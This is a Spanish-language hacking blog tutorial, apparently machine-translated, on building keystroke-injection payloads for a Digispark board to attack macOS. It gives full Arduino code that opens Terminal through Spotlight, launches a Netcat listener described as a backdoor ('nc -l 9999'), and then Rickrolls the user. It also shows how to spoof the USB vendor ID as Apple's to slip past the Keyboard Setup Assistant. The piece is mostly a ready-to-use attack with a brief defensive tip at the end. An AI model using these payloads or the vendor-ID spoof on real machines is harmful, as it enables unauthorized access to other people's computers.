BlogCyber Weapons Lab

Cómo: Hackear MacOS con cargas útiles de script de Digispark Ducky

El patito de goma USB y el Digispark ambos tienen el mismo problema cuando atacan computadoras macOS: una ventana emergente de perfilador de teclado que intenta identificar cualquier teclado USB que no sea de Apple. Si bien es un contratiempo molesto, la solución es una modificación simple que permite apuntar a las computadoras Mac, lo que afecta la capacidad de apuntar a dispositivos Windows y Linux.

El generador de perfiles de Apple, llamado Asistente de configuración del teclado, es la ventana que se abre cada vez que un teclado que no es de Apple se conecta a una MacBook, Mac Pro, iMac, etc., que intenta identificar el teclado recién conectado. Esta característica de seguridad secreta que todos los dispositivos macOS tienen al acecho en segundo plano protegerá contra cargas útiles maliciosas de dispositivos como un Patito de goma USB de $ 50 o Digispark. Pero se pasa por alto fácilmente haciendo que la Mac piense que su dispositivo de ataque es un dispositivo de Apple.

MacOS frente a ataques HID

En la batalla entre Macs y ataques HID (dispositivo de interfaz humana), tenemos macOS en un lado con el generador de perfiles del Asistente de configuración del teclado; Digispark y USB Rubber Ducky están en el otro lado con una carga útil de macOS para Rickroll un usuario.

Si insertamos cualquiera de las herramientas HID en la computadora macOS, nuestro némesis, el perfilador del teclado, nos saluda antes de que la carga útil tenga la oportunidad de ejecutarse.

Puede pensar en el Asistente de configuración del teclado como Clippy. Se supone que ayuda, pero en realidad hace las cosas más difíciles. Tratar de navegar por la herramienta también es terrible porque no siempre perfila el teclado correctamente. Por ejemplo, a veces le hará volver a presionar teclas para perfilar el teclado, que no funciona con un dispositivo que no puede reaccionar a la retroalimentación. En cambio, es mejor evitarlo que lidiar con él en absoluto.

Desterrar el perfilador del teclado

Para deshacernos del generador de perfiles del Asistente de configuración del teclado, tenemos que identificar de qué se está quejando. En lo profundo de los archivos de configuración de la biblioteca Digispark, la fuente de nuestro problema proviene de la opción de configuración que se muestra a continuación.

/* -------------------------- Device Description --------------------------- */

#define USB_CFG_VENDOR_ID 0xc0, 0x16
/* USB vendor ID for the device, low byte first. If you have registered your
 * own Vendor ID, define it here. Otherwise you may use one of obdev's free
 * shared VID/PID pairs. Be sure to read USB-IDs-for-free.txt for rules!
 * *** IMPORTANT NOTE ***
 * This template uses obdev's shared VID/PID pair for Vendor Class devices
 * with libusb: 0x16c0/0x5dc.  Use this VID/PID pair ONLY if you understand
 * the implications!
 */

El problema aquí es que el ID de proveedor “0xc0, 0x16” no es Apple. Por lo tanto, Apple no confía en él y activa el Asistente de configuración del teclado para intentar identificar al intruso. Para solucionar el problema, podemos ir a las opciones de configuración de la biblioteca Digispark y cambiar el ID del proveedor por el valor de un dispositivo Apple. Seguirá funcionando bien con dispositivos que no sean de Apple, y el Asistente de configuración del teclado nunca entrará en acción porque macOS asumirá que ha reconocido un producto similar de Apple.

Lo que necesitarás

Para seguirlo, consigue un tablero Digispark. Se pueden comprar en línea por $ 2 a $ 4 cada uno en Amazon o Walmart. Los precios de AliExpress son aún más bajos. Al momento de escribir estas líneas, Digistump, la tienda oficial de Digispark, está agotada y no tendrá ninguna lista hasta principios de 2020.

La conexión a Digispark puede ser un poco diferente según el sistema operativo que esté utilizando. Para obtener más detalles y solución de problemas, puede consultar el Documentación de DigiSpark Wiki.

Paso 1: Instale y configure Arduino IDE para Digispark

Suponiendo que ha instalado IDE de Arduino, el siguiente paso es agregar soporte para la placa Digispark. He cubierto este proceso en detalle en la guía anterior sobre la ejecución de scripts de USB Rubber Ducky en un Digispark, así que complete el Paso 1 allí antes de pasar al Paso 2 a continuación.

Paso 2: crea una carga útil y personalízala para MacOS

Para empezar, trabajaremos con el “RickRoll_Update“carga útil proporcionada en GitHub desde CedArtic. En las primeras acciones de la carga útil, está diseñada para usar las teclas KEY_R y MOD_GUI_LEFT juntas para iniciar una ventana de búsqueda, pero esto no funcionará en macOS porque las teclas de acceso rápido son diferentes.

// This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and also a
// fake Windows update screen and then maximizes it using F11
#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("http://fakeupdate.net/win10u/index.html");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_F11);
  for(;;){ /*empty*/ }
}

Para cambiar esto, necesitaremos modificarlo para usar las teclas de acceso rápido de una Mac: la Espacio bar y el Mando clave, que es KEY_SPACE y MOD_GUI_LEFT, respectivamente. También cambiemos la carga útil para que se abra la Terminal, se active una puerta trasera de Netcat, Spotlight Search se abra nuevamente y ocurra el Rickroll. Abrir una puerta trasera de Netcat encima de Rickrolling nos permite enviarles basura a través de la red.

#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("terminal");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("nc -l 9999");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);

  for(;;){ /*empty*/ }
}

Perfecto. El “.sendKeyStroke (KEY_SPACE, MOD_GUI_LEFT);” en la línea 8 llama a la barra de búsqueda de Spotlight. Línea 10 “.print (” terminal “);” busca Terminal, mientras que “.sendKeyStroke (KEY_ENTER);” lo abre. Línea 13 “.print (” nc -l 9999 “);” escribe en el comando Netcat, y Ingresar se vuelve a presionar para que nos permita hacer lo que queramos en la Mac. Luego, Spotlight Search se abre nuevamente y se busca el video de YouTube.

Puede detenerse aquí mismo, ya que el video se reproducirá directamente en Spotlight Search, pero presionando Ingresar lo abrirá en un navegador para ampliarlo. Elegante.

Consejo profesional: encuentre los nombres clave para Digispark

Si necesita que Digispark presione diferentes teclas en el teclado, use los siguientes comandos a continuación para abrir el archivo “Digikeyboard.h”, que enumera todas las teclas que puede usar, como KEY_ENTER, KEY_ARROW_LEFT, MOD_CONTROL_LEFT, etc.

En macOS:

~$ nano ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/Digikeyboard.h

En Linux:

~$ nano ~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/Digikeyboard.h

Paso 3: cambie el archivo usbconfig.h

Ahora, necesitamos modificar el archivo de configuración antes de enviar el código. Abra una ventana de terminal y use Nano para modificar el siguiente archivo.

En macOS:

~$ nano ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h

En Linux:

~$ nano ~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h

Navegue hacia abajo hasta la parte del archivo que define el ID del proveedor de USB y busque la siguiente línea.

#define USB_CFG_VENDOR_ID 0xc0, 0x16

Ahora cambie los valores para que coincidan con el ejemplo siguiente, que es un ID para un dispositivo Apple, y guarde el archivo.

#define USB_CFG_VENDOR_ID 0xac, 0x05

La sección ahora debería verse así:

/* -------------------------- Device Description --------------------------- */

#define USB_CFG_VENDOR_ID 0xac, 0x05
/* USB vendor ID for the device, low byte first. If you have registered your
 * own Vendor ID, define it here. Otherwise you may use one of obdev's free
 * shared VID/PID pairs. Be sure to read USB-IDs-for-free.txt for rules!
 * *** IMPORTANT NOTE ***
 * This template uses obdev's shared VID/PID pair for Vendor Class devices
 * with libusb: 0x16c0/0x5dc.  Use this VID/PID pair ONLY if you understand
 * the implications!

Una vez hecho esto, cualquier código que enviemos al Digispark debería indicarle que se identifique como un dispositivo Apple.

Paso 4: Empuje la carga útil y pruébela

Finalmente, necesitaremos enviar el código al Digispark para asegurarnos de que funcione. Para hacerlo, haga clic en la flecha hacia la derecha en la parte superior izquierda de la ventana del script en Arduino IDE y el código se compilará. En la ventana, en la parte inferior, Arduino le indicará que conecte el Digispark en 60 segundos.

Si ve un resultado como el siguiente, ¡lo ha hecho! De lo contrario, intente desconectarse y volver a intentar la carga. Es posible que también deba ajustar un poco el Digispark en la toma USB para hacer contacto, según el tipo de puerto que utilice su computadora.

Para ver los efectos completos de la carga útil, puede ver el video de arriba. Transmitimos un archivo binario a través de la red, lo que provocó mucho ruido y un texto alarmante que se desplazó por la pantalla, pero puede hacer lo que quiera.

Es fácil hacer cargas útiles de MacOS para Digispark

Si bien macOS puede parecer tener una ventaja de seguridad en comparación con las computadoras que son presa fácil de los ataques HID, la ventaja es insignificante en el mejor de los casos. Nuestra simple modificación permite apuntar a cualquier computadora, y macOS es igualmente vulnerable una vez que cree que se está comunicando con otro dispositivo Apple.

Asegúrese de cerrar su computadora portátil cuando la deje desatendida, aunque no me preocuparía por enchufar accidentalmente un Digispark. A diferencia del USB Rubber Ducky, que está diseñado para integrarse como una unidad flash USB, el Digispark parece sospechoso y alarmante, lo que lo convierte a menudo en una mejor herramienta para desarrollar cargas útiles en lugar de entregarlas.

¡Espero que haya disfrutado de esta guía para configurar el económico Digispark para atacar dispositivos macOS! Si tiene alguna pregunta sobre este tutorial sobre la configuración de Digispark, deje un comentario a continuación y no dude en comunicarse conmigo en Twitter. @KodyKinzie.

Foto de portada y capturas de pantalla de Kody / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar